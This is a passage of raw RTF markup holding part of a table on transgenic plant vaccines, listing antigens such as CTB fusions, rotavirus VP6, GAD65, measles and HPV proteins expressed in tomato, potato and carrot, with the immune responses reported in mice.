\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \trowd \irow4\irowband4\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl
\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow5\irowband5\ltrrow\ts11\trgaph90\trrh155\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \cell CTB subunit with an ER retention signal\cell Tomato\cell 
Plant-derived CTB bound specifically to G (M1)-ganglioside receptor\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 \trowd \irow5\irowband5\ltrrow\ts11\trgaph90\trrh155\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow6\irowband6\ltrrow\ts11\trgaph90\trrh237\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Viral enteric disease\cell 
CTB subunit fused with rotavirus NSP4 protein\cell Potato\cell Synthesis and assembly of biologically active oligomers were observed\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib40}{\*\bkmkend bbib40}\trowd \irow6\irowband6\ltrrow\ts11\trgaph90\trrh237\trleft-100
\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow7\irowband7\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Murine rotavirus\cell Capsid structural protein VP6 of rotavirus
\cell Potato\cell Oral immunization of mice induced detectable humoral and intestinal antibody\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \trowd \irow7\irowband7\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Autoimmune diabetes\cell CTB::Insulin fusion\cell Potato\cell 
Delayed the progression of diabetes in diabetic mice fed with transgenic potato\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4160551\charrsid16345645 \trowd \irow8\irowband8\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow9\irowband9\ltrrow\ts11\trgaph90\trrh155\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 \cell Human GAD65\cell Carrot\cell 
GAD65 was immunoreactive and retains enzymatic activity\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 
\trowd \irow9\irowband9\ltrrow\ts11\trgaph90\trrh155\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow10\irowband10\ltrrow\ts11\trgaph90\trrh314\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Measles\cell 
Loop-forming B cell epitope (H386-400) of the measles virus hemagglutinin protein\cell Carrot\cell Immunisation of mice peritoneally with carrot plant extracts induced high titers of antibodies\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1
\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib10}{\*\bkmkend bbib10}\trowd \irow10\irowband10\ltrrow\ts11\trgaph90\trrh314\trleft-100
\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow11\irowband11\ltrrow\ts11\trgaph90\trrh310\trleft-100\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Cervical human papillomavirus-like particles (HPV) disease\cell 
HPV type 11 (HPV11) L1 major capsid protein\cell Potato\cell Oral immunization induced anti-VLP immune response in mice\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 {\*\bkmkstart bbib78}{\*\bkmkend bbib78}\trowd \irow11\irowband11\ltrrow\ts11\trgaph90\trrh310\trleft-100\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr
\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 
\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr
\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033
\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\row \ltrrow}\trowd \irow12\irowband12\ltrrow\ts11\trgaph90\trrh232\trleft-100\trbrdrt
\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth1\trftsWidthB3\trftsWidthA3\trspdfl3\trspdft3\trspdfb3\trspdfr3\trpaddl90\trpaddt90\trpaddb90\trpaddr90\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid10183861\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb
\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1881\clshdrawnil \cellx1781\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clNoWrap\clftsWidth3\clwWidth2453\clshdrawnil \cellx4234\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth1799\clshdrawnil \cellx6033\clvertalt\clbrdrt
\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clNoWrap\clftsWidth3\clwWidth3330\clshdrawnil \cellx9363\pard \ltrpar
\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel0\adjustright\rin0\lin0\pararsid10183861 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4160551\charrsid16345645 Respiratory syncytial virus (RSV)\cell RSV-F protein\cell Tomato
\cell Oral immunization of mice induced both serum and mucosal RSV-F specific antibodies\cell }\pard \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
